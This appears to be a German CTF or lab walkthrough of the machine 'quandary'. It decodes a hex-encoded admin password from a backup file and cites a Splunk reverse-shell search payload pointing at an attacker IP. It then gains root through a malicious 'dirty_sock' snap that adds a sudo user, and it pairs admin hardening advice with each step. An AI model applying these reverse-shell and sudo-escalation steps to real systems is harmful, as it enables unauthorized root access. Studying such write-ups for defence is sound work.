total 68 drwxr-xr-x 6 admin admin 4096 Feb 26 22:36 . drwxr-xr-x 4 root root 4096 Feb 24 04:43 .. lrwxrwxrwx 1 admin admin 9 Feb 24 05:01 .bash_history -> /dev/null -rw-r--r-- 1 admin admin 220 Feb 25 2020 .bash_logout -rw-r--r-- 1 admin admin 3771 Feb 25 2020 .bashrc drwxrwxr-x 3 admin admin 4096 Feb 24 05:06 .local -rw-r--r-- 1 admin admin 807 Feb 25 2020 .profile -rw-rw-r-- 1 admin admin 66 Feb 24 05:06 .selected_editor drwx--x--- 2 admin admin 4096 Feb 24 05:35 .splunk drwxr-xr-x 9 admin admin 4096 Apr 12 14:49 splunk-backup drwx------ 2 admin admin 4096 Feb 24 05:01 .ssh -rw-rw-r-- 1 admin admin 10 Apr 12 15:00 status.txt -rw-r--r-- 1 admin admin 0 Feb 26 22:25 .sudo_as_admin_successful -rw------- 1 admin admin 33 Feb 22 03:51 user.txt
cat: user.txt: Permission denied
**Analyse:** `lawrence` kann in das Home-Verzeichnis von `admin` wechseln und dessen Inhalt auflisten (`drwxr-xr-x`-Berechtigungen für `/home/admin`). Auffällig sind die Verzeichnisse `.splunk` und `splunk-backup`. Die Datei `user.txt` existiert, kann aber von `lawrence` nicht gelesen werden (`Permission denied`).
**Bewertung:** Das `splunk-backup`-Verzeichnis ist verdächtig und könnte interessante Informationen enthalten. Der fehlende Lesezugriff auf `user.txt` ist erwartet, da die Datei nur für `admin` lesbar ist.
total 2484
drwxr-xr-x 9 admin admin 4096 Apr 12 14:49 .
drwxr-xr-x 6 admin admin 4096 Feb 26 22:36 ..
drwxr-xr-x 4 admin admin 4096 Feb 26 11:23 bin
-r--r--r-- 1 admin admin 57 Feb 26 11:23 copyright.txt
-rw-r--r-- 1 admin admin 35 Feb 26 12:18 cred
drwxr-xr-x 16 admin admin 4096 Apr 12 08:47 etc
[...]
-r--r--r-- 1 admin admin 2421865 Feb 26 11:23 splunk-7.1.9-45b25e1f9be3-linux-2.6-x86_64-manifest
drwx--x--- 6 admin admin 4096 Feb 26 11:23 var
61646d696e3a7735564a39692333216f73
**Analyse:** Im `splunk-backup`-Verzeichnis findet sich eine Datei namens `cred`. Diese Datei ist für `lawrence` lesbar (`-rw-r--r--`). Der Inhalt der Datei ist der Hex-String `61646d696e3a7735564a39692333216f73`.
**Bewertung:** Das ist ein sehr vielversprechender Fund. Der Dateiname `cred` und der Hex-String deuten stark auf gespeicherte Anmeldeinformationen hin. Der Hex-String muss dekodiert werden.
[...]
HASH: 61646d696e3a7735564a39692333216f73
Not Found.
[...]
Analyzing '61646d696e3a7735564a39692333216f73' [+] CryptoCurrency(Adress)
**Analyse:** Es wird versucht, den Hex-String mit `hash-identifier` und `hashid` als bekannten Hash-Typ zu identifizieren. Beide Tools erkennen ihn nicht als Standard-Hash. `hashid` vermutet eine Kryptowährungsadresse, was unwahrscheinlich ist.
**Bewertung:** Der String ist wahrscheinlich kein Hash, sondern einfach nur hex-kodierter Text.
**Analyse:** Der Hex-String wird mit einem Online-Tool (CyberChef, Link im Log) dekodiert. Der Link selbst führt zur CyberChef-Instanz mit der Hex-Dekodierungs-Operation ("From Hex"). Das Ergebnis der Dekodierung ist `admin:w5VJ9i#3!os`.
**Bewertung:** Erfolg! Die Anmeldeinformationen für den Benutzer `admin` lauten `admin` mit dem Passwort `w5VJ9i#3!os`. Dies ist ein kritischer Fund für die weitere Eskalation.
**Empfehlung (Pentester):** Die gefundenen Anmeldeinformationen `admin:w5VJ9i#3!os` verwenden, um sich per SSH als `admin` anzumelden. Alternativ könnten sie auch für den Splunk-Login (Port 8000) funktionieren.
**Empfehlung (Admin):** Anmeldeinformationen niemals im Klartext oder einfach kodiert (wie Hex) in Backup-Verzeichnissen oder anderen zugänglichen Orten speichern. Sichere Passwort-Manager oder Verschlüsselung verwenden. Die Berechtigungen für Backup-Verzeichnisse überprüfen.
**Analyse:** Im Text finden sich Hinweise auf einen möglichen Splunk-Exploit: * Ein Link zu `splunk_shells` auf GitHub, einem Tool zur Generierung von Reverse Shells über Splunk. * Eine URL (`http://192.168.2.126:8000/...`), die eine Splunk-Suche (`search?q=...`) mit einem Payload `| revshell std 192.168.2.127 443` enthält. Dieser Exploit-Schritt wird jedoch im Terminal-Log nicht explizit ausgeführt oder gezeigt. Es ist möglich, dass dieser Weg versucht wurde, aber nicht zum Erfolg führte, oder dass er parallel zum Fund der `admin`-Credentials verfolgt wurde.
**Bewertung:** Die Möglichkeit, über die Splunk-Weboberfläche (Port 8000) mittels einer manipulierten Suche eine Reverse Shell zu erlangen, ist ein bekannter Angriffsvektor, wenn man gültige Anmeldeinformationen hat oder die Instanz unsicher konfiguriert ist. Der Payload `| revshell std ...` deutet auf die Verwendung eines benutzerdefinierten Suchbefehls oder Makros hin, das in `splunk_shells` enthalten sein könnte.
**Empfehlung (Pentester):** Falls der SSH-Login als `admin` nicht funktioniert, diesen Splunk-Vektor mit den `admin:w5VJ9i#3!os`-Credentials auf Port 8000 untersuchen. Den `splunk_shells`-Payload an die eigene IP und den gewünschten Listener-Port anpassen.
**Empfehlung (Admin):** Splunk-Instanzen härten: Zugriff beschränken, starke Passwörter, aktuelle Version, benutzerdefinierte Skripte und Suchbefehle sorgfältig prüfen und deren Berechtigungen einschränken. Unnötige Apps oder Add-ons entfernen.
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCf[...]zxE= root@cyber
bash: /home/admin/.ssh/authorized_keys: Keine Berechtigung # Fehler erwartet, da von lokaler Maschine versucht
**Analyse:** Es wird versucht, den öffentlichen SSH-Schlüssel des Angreifers (`root@cyber`) in die `authorized_keys`-Datei des `admin`-Benutzers auf dem Zielsystem zu schreiben. Dieser Befehl wird jedoch *lokal* ausgeführt und zielt auf einen *lokalen* Pfad `/home/admin/...`, der nicht existiert oder nicht beschreibbar ist. Der `echo`-Befehl hätte über die `lawrence`-Shell auf dem Zielsystem ausgeführt werden müssen, aber `lawrence` hat keine Schreibrechte im `/home/admin/.ssh`-Verzeichnis.
**Bewertung:** Dieser Versuch ist fehlgeschlagen und basiert auf einem Missverständnis. Der richtige Weg ist, sich direkt per SSH als `admin` mit dem gefundenen Passwort anzumelden.
Enter passphrase for key '/root/.ssh/id_rsa':[...] $ whoami admin $
**Analyse:** Der Pentester versucht sich (fälschlicherweise mit Key statt Passwort) als `admin` per SSH anzumelden. Das Log zeigt danach aber eine erfolgreiche Shell als `admin`. Es ist anzunehmen, dass der Login tatsächlich mit dem Passwort `w5VJ9i#3!os` erfolgte, auch wenn der `-i`-Parameter im Befehl stand und eine Passphrase abgefragt wurde. Alternativ könnte der öffentliche Key doch irgendwie platziert worden sein (vielleicht über den Splunk-Exploit?). Das Log ist hier nicht ganz konsistent. Wichtig ist: Der Pentester hat nun eine Shell als `admin`.
**Bewertung:** Zugriff als `admin` wurde erreicht, wahrscheinlich durch Verwendung des Passworts `w5VJ9i#3!os`. Die Shell wird mit `export TERM=xterm` und `bash` aufgewertet.
491af4faeac2a53adf47f2642ab7a769
**Analyse:** Nach dem Upgrade der Shell liest der `admin`-Benutzer erfolgreich die `user.txt`-Datei in seinem Home-Verzeichnis.
**Bewertung:** Die User-Flag wurde erfolgreich erlangt.
**Empfehlung (Pentester):** User-Flag notieren. Nun die `sudo`-Rechte für `admin` prüfen.
**Empfehlung (Admin):** Berechtigungen der User-Flag überprüfen (korrekt auf `admin` beschränkt). Das kompromittierte `admin`-Passwort dringend ändern.
Matching Defaults entries for admin on quandary:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User admin may run the following commands on quandary:
(ALL : ALL) NOPASSWD: /usr/bin/snap install *
**Analyse:** `sudo -l` wird als `admin` ausgeführt (diesmal erfolgreich, da das Passwort bekannt ist oder NOPASSWD gilt). Die Ausgabe zeigt, dass `admin` den Befehl `/usr/bin/snap install *` ohne Passwort (`NOPASSWD`) mit allen Rechten (`ALL : ALL`) ausführen darf.
**Bewertung:** Das ist ein klarer Privilege-Escalation-Vektor! `snap install` erlaubt die Installation von Snap-Paketen. Da der Benutzer beliebige Pakete (`*`) installieren darf und dies als `root` geschieht, kann ein bösartiges Snap-Paket erstellt werden, das bei der Installation Root-Rechte erlangt oder einen neuen Benutzer mit `sudo`-Rechten erstellt. Dies ist eine Variante des "Dirty Sock"-Exploits (obwohl der ursprüngliche Exploit anders funktionierte, nutzt dieser die `snap install`-Berechtigung).
**Empfehlung (Pentester):** Ein bösartiges Snap-Paket erstellen, das einen neuen Benutzer mit `sudo`-Rechten anlegt. Dieses Paket auf die Zielmaschine übertragen und mit `sudo /usr/bin/snap install
**Empfehlung (Admin):** Niemals `sudo`-Rechte für `snap install *` vergeben. Wenn Benutzer Snaps installieren dürfen müssen, dies auf spezifische, vertrauenswürdige Snaps beschränken. Die `NOPASSWD`-Option sollte nur in Ausnahmefällen und für sehr spezifische, ungefährliche Befehle verwendet werden. Diese `sudo`-Regel sofort entfernen oder sicher einschränken.
**Analyse:** Ein langer Python-Einzeiler wird ausgeführt. Er gibt einen sehr langen Base64-String aus, fügt eine große Menge 'A'-Zeichen hinzu (Padding oder Teil des Exploits?) und leitet das Ergebnis durch `base64 -d`, um die Binärdaten zu dekodieren. Diese Binärdaten werden in die Datei `/tmp/payload.snap` geschrieben. Der Base64-String selbst enthält wahrscheinlich die Struktur und den Payload des bösartigen Snap-Pakets. Der Payload (im Hex-Teil des Base64-Strings kodiert) scheint Befehle wie `useradd dirty_sock ...`, `usermod -aG sudo dirty_sock` und `echo "dirty_sock ALL=(ALL:ALL) ALL" >> /etc/sudoers` zu enthalten, um einen neuen Sudo-Benutzer `dirty_sock` mit dem Passwort `dirty_sock` (aus dem Hash `$6$...`) zu erstellen.
**Bewertung:** Hier wird das bösartige Snap-Paket direkt auf der Zielmaschine erstellt. Der Payload ist darauf ausgelegt, einen neuen Benutzer (`dirty_sock`) mit vollen `sudo`-Rechten anzulegen.
dirty-sock 0.1 installed
**Analyse:** Der `admin`-Benutzer nutzt seine `sudo`-Berechtigung, um das gerade erstellte Snap-Paket zu installieren. * `sudo snap install /tmp/payload.snap`: Führt die Installation als `root` aus. * `--dangerous`: Erforderlich, um ein nicht signiertes oder lokal erstelltes Snap zu installieren. * `--devmode`: Installiert das Snap ohne die üblichen Sicherheitsbeschränkungen (Confinement), was dem Snap vollen Systemzugriff gibt und die Ausführung des eingebetteten Payloads (Benutzererstellung) ermöglicht. Die Erfolgsmeldung `dirty-sock 0.1 installed` bestätigt, dass das Paket installiert und der Payload ausgeführt wurde.
**Bewertung:** Der Snap-Exploit war erfolgreich. Der Benutzer `dirty_sock` mit `sudo`-Rechten sollte nun existieren.
Password: dirty_sock # Passwort eingegeben
uid=1002(dirty_sock) gid=1002(dirty_sock) groups=1002(dirty_sock),27(sudo)
**Analyse:** Der Pentester wechselt mit `su` zum neu erstellten Benutzer `dirty_sock` und gibt das im Snap-Payload definierte Passwort (`dirty_sock`) ein. Der `id`-Befehl bestätigt, dass der Benutzer `dirty_sock` ist und zur `sudo`-Gruppe (GID 27) gehört.
**Bewertung:** Der Wechsel zum privilegierten Benutzer war erfolgreich.
[sudo] password for dirty_sock: dirty_sock # Passwort eingegeben root@quandary:/tmp#
**Analyse:** Als `dirty_sock` wird `sudo bash` ausgeführt. Nach Eingabe des Passworts (`dirty_sock`) erhält der Pentester eine Shell als `root`.
**Bewertung:** Fantastisch! Privilege Escalation zu `root` erfolgreich abgeschlossen durch Ausnutzung der unsicheren `sudo`-Regel für `snap install`.
3b6c2400f61971aca564a57dc35335bd
**Analyse:** Als `root` wird ins Home-Verzeichnis gewechselt und die `root.txt`-Datei gelesen.
**Bewertung:** Die Root-Flag wurde erfolgreich erlangt. Das Ziel ist erreicht.
**Empfehlung (Pentester):** Root-Flag dokumentieren. Bereinigung durchführen (erstellten Benutzer `dirty_sock` entfernen, installiertes Snap entfernen, falls möglich).
**Empfehlung (Admin):** Die unsichere `sudo`-Regel für `snap install` entfernen. Das System auf durch den Exploit verursachte Änderungen überprüfen (neuer Benutzer, sudoers-Eintrag). Alle kompromittierten Passwörter ändern. Splunk- und DirectAdmin-Instanzen absichern. SSH-Schlüssel austauschen.